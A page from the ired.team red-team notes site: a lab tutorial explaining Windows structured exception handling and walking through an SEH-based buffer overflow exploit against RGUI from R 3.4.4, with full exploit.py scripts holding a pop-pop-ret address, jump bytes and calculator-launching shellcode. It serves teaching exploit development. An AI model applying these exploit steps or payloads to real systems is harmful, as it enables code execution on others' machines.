Red Team Notes
  • What is ired.team notes?
  • Pinned
    • Pentesting Cheatsheets
      • SQL Injection & XSS Playground
    • Active Directory & Kerberos Abuse
      • From Domain Admin to Enterprise Admin
      • Kerberoasting
      • Kerberos: Golden Tickets
      • Kerberos: Silver Tickets
      • AS-REP Roasting
      • Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled
      • Kerberos Unconstrained Delegation
      • Kerberos Constrained Delegation
      • Kerberos Resource-based Constrained Delegation: Computer Object Takeover
      • Domain Compromise via DC Print Server and Kerberos Delegation
      • DCShadow - Becoming a Rogue Domain Controller
      • DCSync: Dump Password Hashes from Domain Controller
      • PowerView: Active Directory Enumeration
      • Abusing Active Directory ACLs/ACEs
      • Privileged Accounts and Token Privileges
      • From DnsAdmins to SYSTEM to Domain Compromise
      • Pass the Hash with Machine$ Accounts
      • BloodHound with Kali Linux: 101
      • Backdooring AdminSDHolder for Persistence
      • Active Directory Enumeration with AD Module without RSAT or Admin Privileges
      • Enumerating AD Object Permissions with dsacls
      • Active Directory Password Spraying
      • Active Directory Lab with Hyper-V and PowerShell
      • ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate
      • From Misconfigured Certificate Template to Domain Admin
      • Shadow Credentials
      • Abusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain
  • offensive security
    • Red Team Infrastructure
      • HTTP Forwarders / Relays
      • SMTP Forwarders / Relays
      • Phishing with Modlishka Reverse HTTP Proxy
      • Automating Red Team Infrastructure with Terraform
      • Cobalt Strike 101
      • Powershell Empire 101
      • Spiderfoot 101 with Kali using Docker
    • Initial Access
      • Password Spraying Outlook Web Access: Remote Shell
      • Phishing with MS Office
        • Phishing: XLM / Macro 4.0
        • T1173: Phishing - DDE
        • T1137: Phishing - Office Macros
        • Phishing: OLE + LNK
        • Phishing: Embedded Internet Explorer
        • Phishing: .SLK Excel
        • Phishing: Replacing Embedded Video with Bogus Payload
        • Inject Macros from a Remote Dotm Template
        • Bypassing Parent Child / Ancestry Detections
        • Phishing: Embedded HTML Forms
      • Phishing with GoPhish and DigitalOcean
      • Forced Authentication
      • NetNTLMv2 hash stealing using Outlook
    • Code Execution
      • regsvr32
      • MSHTA
      • Control Panel Item
      • Executing Code as a Control Panel Item through an Exported Cplapplet Function
      • Code Execution through Control Panel Add-ins
      • CMSTP
      • InstallUtil
      • Using MSBuild to Execute Shellcode in C#
      • Forfiles Indirect Command Execution
      • Application Whitelisting Bypass with WMIC and XSL
      • Powershell Without Powershell.exe
      • Powershell Constrained Language Mode Bypass
      • Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse
      • pubprn.vbs Signed Script Code Execution
    • Code & Process Injection
      • CreateRemoteThread Shellcode Injection
      • DLL Injection
      • Reflective DLL Injection
      • Shellcode Reflective DLL Injection
      • Process Doppelganging
      • Loading and Executing Shellcode From PE Resources
      • Process Hollowing and Portable Executable Relocations
      • APC Queue Code Injection
      • Early Bird APC Queue Code Injection
      • Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
      • Shellcode Execution through Fibers
      • Shellcode Execution via CreateThreadpoolWait
      • Local Shellcode Execution without Windows APIs
      • Injecting to Remote Process via Thread Hijacking
      • SetWindowHookEx Code Injection
      • Finding Kernel32 Base and Function Addresses in Shellcode
      • Executing Shellcode with Inline Assembly in C/C++
      • Writing Custom Shellcode Encoders and Decoders
      • Backdooring PE Files with Shellcode
      • NtCreateSection + NtMapViewOfSection Code Injection
      • AddressOfEntryPoint Code Injection without VirtualAllocEx RWX
      • Module Stomping for Shellcode Injection
      • PE Injection: Executing PEs inside Remote Processes
      • API Monitoring and Hooking for Offensive Tooling
      • Windows API Hooking
      • Import Adress Table (IAT) Hooking
      • DLL Injection via a Custom .NET Garbage Collector
      • Writing and Compiling Shellcode in C
      • Injecting .NET Assembly to an Unmanaged Process
      • Binary Exploitation
        • 32-bit Stack-based Buffer Overflow
        • 64-bit Stack-based Buffer Overflow
        • Return-to-libc / ret2libc
        • ROP Chaining: Return Oriented Programming
        • SEH Based Buffer Overflow
        • Format String Bug
    • Defense Evasion
      • AV Bypass with Metasploit Templates and Custom Binaries
      • Evading Windows Defender with 1 Byte Change
      • Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions
      • Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
      • Windows API Hashing in Malware
      • Detecting Hooked Syscalls
      • Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
      • Retrieving ntdll Syscall Stubs from Disk at Run-time
      • Full DLL Unhooking with C++
      • Enumerating RWX Protected Memory Regions for Code Injection
      • Disabling Windows Event Logs by Suspending EventLog Service Threads
      • Obfuscated Powershell Invocations
      • Masquerading Processes in Userland via _PEB
      • Commandline Obfusaction
      • File Smuggling with HTML and JavaScript
      • Timestomping
      • Alternate Data Streams
      • Hidden Files
      • Encode/Decode Data with Certutil
      • Downloading Files with Certutil
      • Packed Binaries
      • Unloading Sysmon Driver
      • Bypassing IDS Signatures with Simple Reverse Shells
      • Preventing 3rd Party DLLs from Injecting into your Malware
      • ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
      • Parent Process ID (PPID) Spoofing
      • Executing C# Assemblies from Jscript and wscript with DotNetToJscript
    • Enumeration and Discovery
      • Windows Event IDs and Others for Situational Awareness
      • Enumerating COM Objects and their Methods
      • Enumerating Users without net, Services without sc and Scheduled Tasks without schtasks
      • Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging
      • Dump Global Address List (GAL) from OWA
      • Application Window Discovery
      • Account Discovery & Enumeration
      • Using COM to Enumerate Hostname, Username, Domain, Network Drives
      • Detecting Sysmon on the Victim Host
    • Privilege Escalation
      • Primary Access Token Manipulation
      • Windows NamedPipes 101 + Privilege Escalation
      • DLL Hijacking
      • WebShells
      • Image File Execution Options Injection
      • Unquoted Service Paths
      • Pass The Hash: Privilege Escalation with Invoke-WMIExec
      • Environment Variable $Path Interception
      • Weak Service Permissions
    • Credential Access & Dumping
      • Dumping Credentials from Lsass Process Memory with Mimikatz
      • Dumping Lsass Without Mimikatz
      • Dumping Lsass without Mimikatz with MiniDumpWriteDump
      • Dumping Hashes from SAM via Registry
      • Dumping SAM via esentutl.exe
      • Dumping LSA Secrets
      • Dumping and Cracking mscash - Cached Domain Credentials
      • Dumping Domain Controller Hashes Locally and Remotely
      • Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
      • Network vs Interactive Logons
      • Reading DPAPI Encrypted Secrets with Mimikatz and C++
      • Credentials in Registry
      • Password Filter
      • Forcing WDigest to Store Credentials in Plaintext
      • Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching Lsass
      • Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages
      • Pulling Web Application Passwords by Hooking HTML Input Fields
      • Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
      • Credentials Collection via CredUIPromptForCredentials
    • Lateral Movement
      • WinRM for Lateral Movement
      • WinRS for Lateral Movement
      • WMI for Lateral Movement
      • RDP Hijacking for Lateral Movement with tscon
      • Shared Webroot
      • Lateral Movement via DCOM
      • WMI + MSI Lateral Movement
      • Lateral Movement via Service Configuration Manager
      • Lateral Movement via SMB Relaying
      • WMI + NewScheduledTaskAction Lateral Movement
      • WMI + PowerShell Desired State Configuration Lateral Movement
      • Simple TCP Relaying with NetCat
      • Empire Shells with NetNLTMv2 Relaying
      • Lateral Movement with Psexec
      • From Beacon to Interactive RDP Session
      • SSH Tunnelling / Port Forwarding
      • Lateral Movement via WMI Event Subscription
      • Lateral Movement via DLL Hijacking
      • Lateral Movement over headless RDP with SharpRDP
      • Man-in-the-Browser via Chrome Extension
      • ShadowMove: Lateral Movement by Duplicating Existing Sockets
    • Persistence
      • DLL Proxying for Persistence
      • Schtask
      • Service Execution
      • Sticky Keys
      • Create Account
      • AddMonitor()
      • NetSh Helper DLL
      • Abusing Windows Managent Instrumentation
        • WMI as a Data Storage
      • Windows Logon Helper
      • Hijacking Default File Extension
      • Persisting in svchost.exe with a Service DLL
      • Modifying .lnk Shortcuts
      • Screensaver Hijack
      • Application Shimming
      • BITS Jobs
      • COM Hijacking
      • SIP & Trust Provider Hijacking
      • Hijacking Time Providers
      • Installing Root Certificate
      • Powershell Profile Persistence
      • RID Hijacking
      • Word Library Add-Ins
      • Office Templates
    • Exfiltration
      • Powershell Payload Delivery via DNS using Invoke-PowerCloud
  • reversing, forensics & misc
    • Internals
      • Configuring Kernel Debugging Environment with kdnet and WinDBG Preview
      • Compiling a Simple Kernel Driver, DbgPrint, DbgView
      • Loading Windows Kernel Driver for Debugging
      • Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver
      • Listing Open Handles and Finding Kernel Object Addresses
      • Sending Commands From Your Userland Program to Your Kernel Driver using IOCTL
      • Windows Kernel Drivers 101
      • Windows x64 Calling Convention: Stack Frame
      • Linux x64 Calling Convention: Stack Frame
      • System Service Descriptor Table - SSDT
      • Interrupt Descriptor Table - IDT
      • Token Abuse for Privilege Escalation in Kernel
      • Manipulating ActiveProcessLinks to Hide Processes in Userland
      • ETW: Event Tracing for Windows 101
      • Exploring Injected Threads
      • Parsing PE File Headers with C++
      • Instrumenting Windows APIs with Frida
      • Exploring Process Environment Block
      • Writing a Custom Bootloader
    • Cloud
      • AWS Accounts, Users, Groups, Roles, Policies
    • Neo4j
    • Dump Virtual Box Memory
    • AES Encryption Using Crypto++ .lib in Visual Studio C++
    • Reversing Password Checking Routine
Powered by GitBook
On this page
  • SEH 101
  • Exploring TEB / TIB / SEH Chains
  • Memory Structures
  • Actual Memory Structures
  • Exploiting SEH Overflow
  • Intro
  • Confirming the Crash
  • Confirming SEH Record Offset
  • POP POP RET
  • Finding POP POP RET
  • Overwriting SEH Record and Subverting Code Execution Flow
  • Adding Shellcode
  • Jumping Over to Shellcode
  • Exploit
  • Summary
  • References
  1. offensive security
  2. Code & Process Injection
  3. Binary Exploitation

SEH Based Buffer Overflow

PreviousROP Chaining: Return Oriented ProgrammingNextFormat String Bug

Last updated 3 years ago

The purpose of this lab is to familiarize how Structured Exception Handler / SEH based buffer overflow exploits work.

SEH 101

  • Structured exception handling (SEH) is simply code in a program that is meant to handle situations when program throws an exception due to a hardware or software issue. This means catching those situations and doing something to resolve them;

  • SEH code is located on the program's stack for each try-catch code block and each handler has its own stack frame;

  • SEH is stored in stack as EXCEPTION_REGISTRATION_RECORD memory structure (also called SEH record) consisting of two 4 byte fields:

    • pointer to the next SEH record within the SEH chain;

    • pointer to the exception handler code - the catch part of the code block. This is the code that attempts to resolve the exception that the program threw;

  • A program may have multiple SEHs registered that are connected by a linked list, forming a SEH chain;

    • Once a program throws an exception, the OS runs through the SEH chain and attempts to find an appropriate exception handler;

    • If no suitable handler is found, a default OS handler is used from the bottom of the SEH chain. All SEH chains always end with a default Windows SEH record. Next SEH Record field point toFFFFFFFF, which mean's that this is the last SEH record in the chain;

  • SEH chain is stored in the Thread Environment Block (TEB) memory structure in its first member called Thread Information Block (TIB), that can be accessed via FS segment register FS:[0x00];

  • 64-bit applications are not vulnerable to SEH overflow as binaries are linked with safe exception handlers embedded in the PE file itself;

  • 32-bit applications can be linked with /SAFESEH flag, which will produce a PE file with a table of safe exception handlers, assuming all modules are compatible with safe execption handling feature.

Below is a simplified diagram visualising some of the key points outlined above:

Exploring TEB / TIB / SEH Chains

Memory Structures

Let's explore the key structures around SEH using WinDBG and confirm the key points mentioned in the SEH 101 section.

Thread Environment Block is a described in the OS as _TEB memory structure and can be inspected in WinDBG like so:

dt _teb

As seen from the above screenshot, the TEB's first member is _NT_TIB (Thread Information Block) memory structure, which can be inspected like so:

dt _NT_TIB

As mentioned earlier, the first member inside the _NT_TIB structure is a pointer to _EXCEPTION_REGISTRATION_RECORD memory structure, which is the first SEH record / head of the SEH chain (linked list) and can be inspected like so:

dt _EXCEPTION_REGISTRATION_RECORD

The first member of _EXCEPTION_REGISTRATION_RECORD is a pointer to the next SEH record and the second member is a pointer to the exception handler that is defined in the _EXCEPTION_DISPOSITION memory structure.

Actual Memory Structures

We've learned about a couple of key memory structures, but now let's see how those structures look like when inspecting a real program that has some SEH records defined.

As noted earlier, SEH are the try / catch code blocks in the program as shown below:

seh-overflow.c
int main(int argc, char* argv[]) 
{
    try
    {
        throw 1;
    }
    catch (int e)
    {
        
    }

    return 0;
}

Let's compile the above program as seh-overflow.exe and inspect it with WinDBG again, this time with a !teb command:

We can see that _TEB is located at 00a25000 and that the ExceptionList / head of the SEH chain is located at 00cff2cc. From earlier, we said that this value could also be retrieved from the FS segment register fs:[0], so let's confirm that:

dd fs:[0] L1

Let's check the start of the SEH chain at 00cff2cc like so:

dt _EXCEPTION_REGISTRATION_RECORD 00cff2cc

From this point theExceptionList address changed from 00cff2cc to 00cff274 due to the deugging program being restarted. This may happen multiple time throughout the labs.

Below gif demonstrates how we can get the address of the head of the SEH chain with !teb command and by inspecting the ExceptionList. We can then walk through all the registered SEH records in the SEH chain and observe how the last SEH record indicates that the next SEH records is at 0xffffffff: (meaning, it is actually the last record and there's no next SEH record in the chain):

Note, however, that these SEH records are the exception handlers defined in the ntdll and not in our compiled binary:

In order to see the SEH records defined by our program, we need it to execute the try / catch code block that we have in the main() function. Let's see the CPU instructions at our program's entry point:

u $exentry

At this point, I do not know what the deal is with all the jmps, but let's try setting a breakpoint at 00e1911d (2nd jmp instruction), right after the first jmp at 00e19118 and continue with execution:

bp $exentry + 5
g

Let's now see where the SEH head is at:

We can now see that the start of the SEH chain has changed and is at 00bbfb2c, so let's check the first SEH record:

dt _EXCEPTION_REGISTRATION_RECORD 00bbfb2c

The exception handler for the first SEH record is at 0x00e220f0. Let's see which module it belongs to:

u 0x00e220f0

The above image confirms that 0x00e220f0 is inside our seh-overflow.exe image and we're inspecting the SEH chain from our seh-overflow.exe.

WinDBG has a command to explore SEH chains !exchain:

We can also easily discover SEH records using xdbg by inspecting the SEH tab as shown below:

Below shows how SEH records 1 to 4 (right) are organized on the program's stack (left):

If we updated our very first diagram showing where SEH chain is located and how it looks like with actual memory addresses, it would now look like this:

Note that the exception handler at 0x00e220f0, when we identified it previously using WinDbg after executing the first jmp inside the seh-overflow.exe entry point, was the first SEH record in the chain, however, inspecting the SEH chain in xdbg, we can see that the handler 0x00e220f0 actually belongs to the second SEH record, which suggests that executing the first jmp was not enough to set up the full SEH chain. That, however, does not prevent us from moving this lab further into the exploitation phase, but it's just something to note if you're playing along.

Exploiting SEH Overflow

Intro

The following exploitation steps will not be detailed, since they can be found in my other notes:

Confirming the Crash

Let's open RGUI.exe in xdbg and hit F9 as many times as we need in order to get the program's GUI to show up:

Let's generate some garbage data that we will send to the RGUI in order to confirm we can crash it:

python -c "print('A'*3000)" | clip.exe

Open the RGUI configuration editor and paste the garbage data generated into the "Language for menus and messages" input box as shown and click OK and then OK once more:

At this point, looking at xdbg, we can confirm the program crashed and is vulnerable to a classic buffer overflow as we were able to overwrite the EIP register with our AAAA (0x41414141):

More, importantly, however, we confirm that the program is also vulnerable to the SEH overflow by inspecting the SEH chain tab:

Note from above screenshot that the first SEH record was overwritten in the following manner:

  • SEH record's handler address was overwritten (red);

  • Pointer to the next SEH record was also overwritten (green).

Confirming SEH Record Offset

As the next step, we need to find an offset at which we can overwrite the SEH record.

When a user supplied input is sent to a program vulnerable with a buffer overflow vulnerability, the stack is overwritten from lower memory addresses towards higher memory addresses.

We also know that SEH records are stored on the stack and each one is an 8 byte memory structure that contains:

  1. Pointer to the next SEH record;

  2. Exception handler for the current SEH record.

Based on the above, in order to confirm the SEH record offset, we should generate a dummy payload that is structured like so:

Based on all of the above, our payload for testing, if we can correctly overwrite the SEH record (its pointer to the next SEH record and current SEH record's handler), should now look like this:

Let's create the above payload:

python -c "print('A'*1012 + 'BBBB' + 'CCCC')" | clip.exe

...and send it to the vulnerable program and see if we can overwrite the SEH record, located at 0141e768 correctly:

Important

Note the SEH record address 0141e768 - this is the record we will be overwriting and it will become very important when trying to understand how to force the vulnerable program to jump to our shellcode.

From the above screenshote we can see that we can overwrite the SEH record correctly:

  • 43434343 (CCCC) is the exception handler for the current SEH record;

  • 42424242 (BBBB) is the address of the next SEH record;

POP POP RET

Next, we will need to find a memory address in the vulnerable program that contains pop pop ret gadget. Let's see why we need this ROP gadget - hint: so that we can jump to the next SEH record in the chain, that we in fact can control, from which we can jump to the shellcode.

Useful notes about ROP gadgets:

Let's send 1012*A to the vulnerable program and upon crashing it, inspect the SEH chain:

Note the first SEH record is at address 0141E768 and its handler is at 76275680.

Again, it is important to remember / realize that we control/can overwrite the SEH record at 0141e768.

Let's set a breakpoint on the handler at 76275680, continue execution until that breakpoint is hit, then inspect the SEH chain and the stack's contents:

Once the breakpoint is hit at 76275680, we can see that the address 0141E768, which is the address of the next SEH record (which we control) is on the stack and it's just 3 values below the top of the stack. This means that if we could overwrite the current SEH record's 0141E768 handler, currently pointing to 76275680, to a memory address that contains pop pop ret instructions, we could transfer the program's execution control to 0141E768 (a SEH record that we control) and from there, execute our shellcode. We will test this in a moment.

Finding POP POP RET

To find memory addresses containing pop pop ret instructions, we can search all modules for a bytes pattern 5f 5d c3 that translates to pop edi; pop ebp; ret:

Any other byte pattern that translates to pop pop ret should work too.

There are multiple results found as shown below. Let's chose the first one that contains executable instructions at 0x637412c8 and set a breakpoint on it by hitting F2:

Overwriting SEH Record and Subverting Code Execution Flow

We now know that our payload should look like this:

So wen can start building our python exploit skeleton as shown below:

exploit.py
f = open("payload.txt", "wb")

# Offset into the first SEH record
payload = b"A" * 1012

# Address of the next SEH record
payload += b"BOOM"

# Current SEH handler (pop pop ret)
payload += b"\xc8\x12\x94\x63"

f.write(payload)
f.close()

Executing exploit.py will create payload.txt with our payload, which when sent to the RGUI, will overflow the SEH record and overwrite it in the following way:

  1. The next SEH record will contain the bytes 42 4F 4F 4D, representing the string BOOM;

  2. The current SEH handler will point to 0x637412c8 that contains pop pop ret instructions.

Below shows the payload.txt file contents:

Let's send that payload to the RGUI:

Note from the above gif the key points:

  • Once the program crashes with an exception and we continue running the program (F9), we hit our breakpoint at 0x637412c8 that contains the pop pop ret instructions;

  • Once pop pop instructions are executed, ret instruction pops off the top topmost value0141E768 from the stack, which is the SEH record we control, and jumps to it;

  • Once execution jumps to 0141E768, we see that first four instructions are actually are the bytes 42 4f 4f 4d that represent our string BOOM, which means that at this point we have subverted the code execution flow and can start thinking about executing our shellcode.

Adding Shellcode

We're now ready to start suplementing our payload with shellcode. Our payload should now look like this:

Let's modify our exploit skeleton to include some shellcode that pops a calculator:

exploit.py
f = open("payload.txt", "wb")

# Offset into the first SEH record
payload = b"A" * 1012

# Address of the next SEH record
payload += b"BOOM"
# payload += b"\xeb\x0B\x90\x90"

# Current SEH handler (pop pop ret)
payload += b"\xc8\x12\x94\x63"

# NOP sled for reliability
payload += b"\x90"*10

# shellcode
buf = b""
buf += b"\xba\xbf\xaf\x65\x1b\xd9\xc4\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x31\x31\x55\x13\x83\xed\xfc\x03\x55\xb0\x4d"
buf += b"\x90\xe7\x26\x13\x5b\x18\xb6\x74\xd5\xfd\x87\xb4\x81"
buf += b"\x76\xb7\x04\xc1\xdb\x3b\xee\x87\xcf\xc8\x82\x0f\xff"
buf += b"\x79\x28\x76\xce\x7a\x01\x4a\x51\xf8\x58\x9f\xb1\xc1"
buf += b"\x92\xd2\xb0\x06\xce\x1f\xe0\xdf\x84\xb2\x15\x54\xd0"
buf += b"\x0e\x9d\x26\xf4\x16\x42\xfe\xf7\x37\xd5\x75\xae\x97"
buf += b"\xd7\x5a\xda\x91\xcf\xbf\xe7\x68\x7b\x0b\x93\x6a\xad"
buf += b"\x42\x5c\xc0\x90\x6b\xaf\x18\xd4\x4b\x50\x6f\x2c\xa8"
buf += b"\xed\x68\xeb\xd3\x29\xfc\xe8\x73\xb9\xa6\xd4\x82\x6e"
buf += b"\x30\x9e\x88\xdb\x36\xf8\x8c\xda\x9b\x72\xa8\x57\x1a"
buf += b"\x55\x39\x23\x39\x71\x62\xf7\x20\x20\xce\x56\x5c\x32"
buf += b"\xb1\x07\xf8\x38\x5f\x53\x71\x63\x35\xa2\x07\x19\x7b"
buf += b"\xa4\x17\x22\x2b\xcd\x26\xa9\xa4\x8a\xb6\x78\x81\x65"
buf += b"\xfd\x21\xa3\xed\x58\xb0\xf6\x73\x5b\x6e\x34\x8a\xd8"
buf += b"\x9b\xc4\x69\xc0\xe9\xc1\x36\x46\x01\xbb\x27\x23\x25"
buf += b"\x68\x47\x66\x46\xef\xdb\xea\xa7\x8a\x5b\x88\xb7"
payload += buf

f.write(payload)
f.close()

...and send it to RGUI. Observe the crash, continue running the program until the breakpoint at 0x637412c8 is hit and inspect the memory at 0141E768, where our SEH record, that we've just overflowed, lives. This is where we will jump to after the pop pop ret instructions will complete at 0x637412c8:

From the above screenshot, we can derive the following key point - once we land on 0141E768 (red zone), which contains the 4 bytes representing our string BOOM, we need to jump over to our shellcode in the blue zone.

Jumping Over to Shellcode

We need to replace the BOOM string in our exploit code (which represents the address of the next SEH record) with a simple relative short jmp instruction that jumps 6 bytes further into the code. The instuction can be encoded using the following bytes eb 06. Additionally, since the jmp instruction is only 2 bytes, we'd need to supplement it with 2 NOP bytes to ensure the exploit reliability. So, BOOM should be replaced with bytes eb 06 90 90 like so:

# payload += b"BOOM"
payload += b"\xeb\x06\x90\x90"

Note that even though we say we're jumping over 6 bytes into the code, but in fact, we are jumping over 8 bytes, because the jmp instruction itself is 2 bytes, so therefore 2+6=8. Essentially, we are jumping over the SEH record itself after which our shellcode lives.

Our payload visually should now look like this:

Exploit

Let's see the full updated exploit code now:

exploit.py
f = open("payload.txt", "wb")

# Offset into the first SEH record
payload = b"A" * 1012

# Address of the next SEH record
# payload += b"BOOM"
payload += b"\xeb\x06\x90\x90"

# Current SEH handler (pop pop ret)
payload += b"\xc8\x12\x94\x63"

# NOP sled for reliability
payload += b"\x90"*10

# shellcode
buf = b""
buf += b"\xba\xbf\xaf\x65\x1b\xd9\xc4\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x31\x31\x55\x13\x83\xed\xfc\x03\x55\xb0\x4d"
buf += b"\x90\xe7\x26\x13\x5b\x18\xb6\x74\xd5\xfd\x87\xb4\x81"
buf += b"\x76\xb7\x04\xc1\xdb\x3b\xee\x87\xcf\xc8\x82\x0f\xff"
buf += b"\x79\x28\x76\xce\x7a\x01\x4a\x51\xf8\x58\x9f\xb1\xc1"
buf += b"\x92\xd2\xb0\x06\xce\x1f\xe0\xdf\x84\xb2\x15\x54\xd0"
buf += b"\x0e\x9d\x26\xf4\x16\x42\xfe\xf7\x37\xd5\x75\xae\x97"
buf += b"\xd7\x5a\xda\x91\xcf\xbf\xe7\x68\x7b\x0b\x93\x6a\xad"
buf += b"\x42\x5c\xc0\x90\x6b\xaf\x18\xd4\x4b\x50\x6f\x2c\xa8"
buf += b"\xed\x68\xeb\xd3\x29\xfc\xe8\x73\xb9\xa6\xd4\x82\x6e"
buf += b"\x30\x9e\x88\xdb\x36\xf8\x8c\xda\x9b\x72\xa8\x57\x1a"
buf += b"\x55\x39\x23\x39\x71\x62\xf7\x20\x20\xce\x56\x5c\x32"
buf += b"\xb1\x07\xf8\x38\x5f\x53\x71\x63\x35\xa2\x07\x19\x7b"
buf += b"\xa4\x17\x22\x2b\xcd\x26\xa9\xa4\x8a\xb6\x78\x81\x65"
buf += b"\xfd\x21\xa3\xed\x58\xb0\xf6\x73\x5b\x6e\x34\x8a\xd8"
buf += b"\x9b\xc4\x69\xc0\xe9\xc1\x36\x46\x01\xbb\x27\x23\x25"
buf += b"\x68\x47\x66\x46\xef\xdb\xea\xa7\x8a\x5b\x88\xb7"
payload += buf

f.write(payload)
f.close()

Let's send the payload to RGUI and observe the stack once the payload is sent to the program:

Below gif captures the full exploitation process:

From above screenshot, note the following key points:

  • Once we're at 0141E768, relative short jmp + 6 jumps to the start of our NOP sled at 0141E770;

  • The NOP sled takes us to the start of our shellcode at 0141E77A;

  • Once we hit F9 to resume execution, the shellcode is successfully executed and the calc is popped.

Summary

We can summarize that SEH overflow exploitation at a high level works as shown in the below diagram:

  1. Payload makes the program throw an exception;

  2. SEH handler kicks in, which has been overwritten with a memory address in the program that contains pop pop ret instructions;

  3. Pop pop ret instructions make the program jump to the next SEH record, which is overwritten with a short relative jump to the shellcode;

  4. Shellcode is executed.

We can update the above diagram with memory addresses that we observed in this lab like so:

References

We're going to be exploiting the on a 32-bit Windows 10 system.

Identifying the SEH record overwrite offset - see ;

Identifying bad characters for the shellcode - see .

Following the technique, we identity that the SEH record offset into the stack is 1012.

R 3.4.4
Finding EIP offset
Finding bad characters
Finding EIP offset
ROP Chaining: Return Oriented Programming
https://www.coalfire.com/the-coalfire-blog/march-2020/the-basics-of-exploit-development-2-seh-overflowswww.coalfire.com
Exploit writing tutorial part 3 : SEH Based Exploits | Corelan Cybersecurity ResearchCorelan Team
Logo
/SAFESEH (Image has Safe Exception Handlers)docsmsft
Logo
TEB, SEH Chains, SEH Records visualised
Snippet of the _TEB memory structure
TIB memory structure in WinDBG
SEH record memory structure _EXCEPTION_REGISTRATION_RECORD
!teb
Head of SEH chain retrieved from the FS segment register fs:[0]
Start of the SEH chain at 00cff274
Walking through the SEH chain in WinDBG
A bunch of jmp instructions in our seh-overflow.exe entry point
Breakpoint hit at the Image Entry
SEH chain starts at 00bbfb2c
0x00e220f0 is the 1st exception handler of seh-overflow.exe
Inspecting SEH chains using xdbg
SEH chain on the stack
TEB / TIB / SEH chain with actual memory addresses
RGUI showing up after launching it via xdbg
Generating garbage data using python
Sending garbage data to RGUI to confirm we can crash it and check if it's vulnerable to overflows
Program is vulnerable to a classic buffer overflow - EIP is overwritten
Program confirmed to be vulnerable to SEH overflow - SEH record is overwrriten
Payload structure high level view
Payload structure with offset to the SEH record
Confirming we can overwrite SEH record at 0141e768
SEH chain at time of the crash
Breakopoint hit at 76275680. 0141E768 is the SEH record we control and it's 3 values below the top of the stack
Finding pop pop ret instructions using byte pattern search in all modules
Breakpoint is set at 0x637412c8, it contains pop pop ret instructions
Payload.txt contents
Confirming we can subvert program's execution flow by overwriting SEH record
Payload is organized in program's memory
Stack memory layout after the payload is sent to the program
Confirming our SEH overflow exploit works
SEH overflow exploitation process overview
SEH overflow exploitation process as observed in the labs